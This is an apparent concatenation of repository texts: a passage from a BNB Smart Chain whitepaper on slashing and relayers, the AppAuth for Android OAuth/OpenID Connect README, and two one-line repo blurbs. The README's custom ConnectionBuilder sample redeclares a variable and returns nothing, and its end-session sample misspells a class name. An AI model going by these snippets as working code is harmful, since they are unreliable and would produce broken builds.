which should contain the 2 block headers with the same height and parent block, sealed by the offending validator. Upon receiving the evidence, if the BC verifies it to be valid: 1. The validator will be removed from validator set by an instance BSC validator set update Cross-Chain update; 2. A predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator; Both validator and its delegators will not receive the staking rewards. 3. Part of the slashed BNB will allocate to the submitter’s address, which is a reward and larger than the cost of submitting slash request transaction 4. The rest of the slashed BNB will allocate to the other validators’ custody addresses, and distributed to all delegators in the same way as blocking reward. ### Inavailability The liveness of BSC relies on everyone in the Proof of Staked Authority validator set can produce blocks timely when it is their turn. Validators can miss their turn due to any reason, especially problems in their hardware, software, configuration or network. This instability of the operation will hurt the performance and introduce more indeterministic into the system. There can be an internal smart contract responsible for recording the missed blocking metrics of each validator. Once the metrics are above the predefined threshold, the blocking reward for validator will not be relayed to BC for distribution but shared with other better validators. In such a way, the poorly-operating validator should be gradually voted out of the validator set as their delegators will receive less or none reward. If the metrics remain above another higher level of threshold, the validator will be dropped from the rotation, and this will be propagated back to BC, then a predefined amount of BNB would be slashed from the **self-delegated** BNB of the validator. Both validators and delegators will not receive their staking rewards. ### Governance Parameters There are many system parameters to control the behavior of the BSC, e.g. slash amount, cross-chain transfer fees. All these parameters will be determined by BSC Validator Set together through a proposal-vote process based on their staking. Such the process will be carried on BC, and the new parameter values will be picked up by corresponding system contracts via a cross-chain communication. # Relayers Relayers are responsible to submit Cross-Chain Communication Packages between the two blockchains. Due to the heterogeneous parallel chain structure, two different types of Relayers are created. ## BSC Relayers Relayers for BC to BSC communication referred to as “**BSC Relayers**”, or just simply “Relayers”. Relayer is a standalone process that can be run by anyone, and anywhere, except that Relayers must register themselves onto BSC and deposit a certain refundable amount of BNB. Only relaying requests from the registered Relayers will be accepted by BSC. The package they relay will be verified by the on-chain light client on BSC. The successful relay needs to pass enough verification and costs gas fees on BSC, and thus there should be incentive reward to encourage the community to run Relayers. ### Incentives There are two major communication types: 1. Users triggered Operations, such as `token bind` or `cross chain transfer`. Users must pay additional fee to as relayer reward. The reward will be shared with the relayers who sync the referenced blockchain headers. Besides, the reward won't be paid the relayers' accounts directly. A reward distribution mechanism will be brought in to avoid monopolization. 2. System Synchronization, such as delivering `refund package`(caused by failures of most oracle relayers), special blockchain header synchronization(header contains BC validatorset update), BSC staking package. System reward contract will pay reward to relayers' accounts directly. If some Relayers have faster networks and better hardware, they can monopolize all the package relaying and leave no reward to others. Thus fewer participants will join for relaying, which encourages centralization and harms the efficiency and security of the network. Ideally, due to the decentralization and dynamic re-election of BSC validators, one Relayer can hardly be always the first to relay every message. But in order to avoid the monopolization further, the rewarding economy is also specially designed to minimize such chance: 1. The reward for Relayers will be only distributed in batches, and one batch will cover a number of successful relayed packages. 2. The reward a Relayer can get from a batch distribution is not linearly in proportion to their number of successful relayed packages. Instead, except the first a few relays, the more a Relayer relays during a batch period, the less reward it will collect. ## Oracle Relayers Relayers for BSC to BC communication are using the “Oracle” model, and so-called “**Oracle Relayers**”. Each of the validators must, and only the ones of the validator set, run Oracle Relayers. Each Oracle Relayer watches the blockchain state change. Once it catches Cross-Chain Communication Packages, it will submit to vote for the requests. After Oracle Relayers from ⅔ of the voting power of BC validators vote for the changes, the cross-chain actions will be performed. Oracle Replayers should wait for enough blocks to confirm the finality on BSC before submitting and voting for the cross-chain communication packages onto BC. The cross-chain fees will be distributed to BC validators together with the normal BC blocking rewards. Such oracle type relaying depends on all the validators to support. As all the votes for the cross-chain communication packages are recorded on the blockchain, it is not hard to have a metric system to assess the performance of the Oracle Relayers. The poorest performer may have their rewards clawed back via another Slashing logic introduced in the future. # Outlook It is hard to conclude for Binance Chain, as it has never stopped evolving. The dual-chain strategy is to open the gate for users to take advantage of the fast transferring and trading on one side, and flexible and extendable programming on the other side, but it will be one stop along the development of Binance Chain. Here below are the topics to look into so as to facilitate the community better for more usability and extensibility: 1. Add different digital asset model for different business use cases 2. Enable more data feed, especially DEX market data, to be communicated from Binance DEX to BSC 3. Provide interface and compatibility to integrate with Ethereum, including its further upgrade, and other blockchain 4. Improve client side experience to manage wallets and use blockchain more conveniently ------ [1]: BNB business practitioners may provide other benefits for BNB delegators, as they do now for long term BNB holders.
mercerheather476 / Turbo Garbanzo [](https://search.maven.org/search?q=g:net.openid%20appauth) [](http://javadoc.io/doc/net.openid/appauth) [](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("jdoe@user.example.com") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) .setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom [ConnectionBuilder](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/connectivity/ConnectionBuilder.java) instance. For example, to custom the SSL socket factory used, one could do the following: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setConnectionBuilder(new ConnectionBuilder() { public HttpURLConnection openConnect(Uri uri) throws IOException { URL url = new URL(uri.toString()); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (connection instanceof HttpsUrlConnection) { HttpsURLConnection connection = (HttpsURLConnection) connection; connection.setSSLSocketFactory(MySocketFactory.getInstance()); } } }) .build(); ``` ### Issues with [ID Token](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/IdToken.java#L118) validation ID Token validation was introduced in `0.8.0` but not all authorization servers or configurations support it correctly. - For testing environments [setSkipIssuerHttpsCheck](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java#L129) can be used to bypass the fact the issuer needs to be HTTPS. ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setSkipIssuerHttpsCheck(true) .build() ``` - For services that don't support nonce[s] resulting in **IdTokenException** `Nonce mismatch` just set nonce to `null` on the `AuthorizationRequest`. Please consider **raising an issue** with your Identity Provider and removing this once it is fixed. ```java AuthorizationRequest authRequest = authRequestBuilder .setNonce(null) .build(); ``` ## Dynamic client registration AppAuth supports the [OAuth2 dynamic client registration protocol](https://tools.ietf.org/html/rfc7591). In order to dynamically register a client, create a [RegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/RegistrationRequest.java) and dispatch it using [performRegistrationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L278) on your AuthorizationService instance. The registration endpoint can either be defined directly as part of your [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java), or discovered from an OpenID Connect discovery document. ```java RegistrationRequest registrationRequest = new RegistrationRequest.Builder( serviceConfig, Arrays.asList(redirectUri)) .build(); ``` Requests are dispatched with the help of `AuthorizationService`. As this request is asynchronous the response is passed to a callback: ```java service.performRegistrationRequest( registrationRequest, new AuthorizationService.RegistrationResponseCallback() { @Override public void onRegistrationRequestCompleted( @Nullable RegistrationResponse resp, @Nullable AuthorizationException ex) { if (resp != null) { // registration succeeded, store the registration response AuthState state = new AuthState(resp); //proceed to authorization... } else { // registration failed, check ex for more details } } }); ``` ## Utilizing client secrets (DANGEROUS) We _strongly recommend_ you avoid using static client secrets in your native applications whenever possible. Client secrets derived via a dynamic client registration are safe to use, but static client secrets can be easily extracted from your apps and allow others to impersonate your app and steal user data. If client secrets must be used by the OAuth2 provider you are integrating with, we strongly recommend performing the code exchange step on your backend, where the client secret can be kept hidden. Having said this, in some cases using client secrets is unavoidable. In these cases, a [ClientAuthentication](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientAuthentication.java) instance can be provided to AppAuth when performing a token request. This allows additional parameters (both HTTP headers and request body parameters) to be added to token requests. Two standard implementations of ClientAuthentication are provided: - [ClientSecretBasic](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretBasic.java): includes a client ID and client secret as an HTTP Basic Authorization header. - [ClientSecretPost](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/ClientSecretPost.java): includes a client ID and client secret as additional request parameters. So, in order to send a token request using HTTP basic authorization, one would write: ```java ClientAuthentication clientAuth = new ClientSecretBasic(MY_CLIENT_SECRET); TokenRequest req = ...; authService.performTokenRequest(req, clientAuth, callback); ``` This can also be done when using `performActionWithFreshTokens` on AuthState: ```java ClientAuthentication clientAuth = new ClientSecretPost(MY_CLIENT_SECRET); authState.performActionWithFreshTokens( authService, clientAuth, action); ``` ## Modifying or contributing to AppAuth This project requires the Android SDK for API level 25 (Nougat) to build, though the produced binaries only require API level 16 (Jellybean) to be used. We recommend that you fork and/or clone this repository to make modifications; downloading the source has been known to cause some developers problems. For contributors, see the additional instructions in [CONTRIBUTING.md](https://github.com/openid/AppAuth-Android/blob/master/CONTRIBUTING.md). ### Building from the Command line AppAuth for Android uses Gradle as its build system. In order to build the library and app binaries, run `./gradlew assemble`. The library AAR files are output to `library/build/outputs/aar`, while the demo app is output to `app/build/outputs/apk`. In order to run the tests and code analysis, run `./gradlew check`. ### Building from Android Studio In AndroidStudio, File -> New -> Import project. Select the root folder (the one with the `build.gradle` file).
Workable / Confluence Docs As CodeGihub action to publish MkDocs documentation to Atlassian Confluence Cloud wiki.
microsoft / Python Sample Vs Learning DjangoSample code as created by following Django tutorials on docs.microsoft.com/visualstudio/python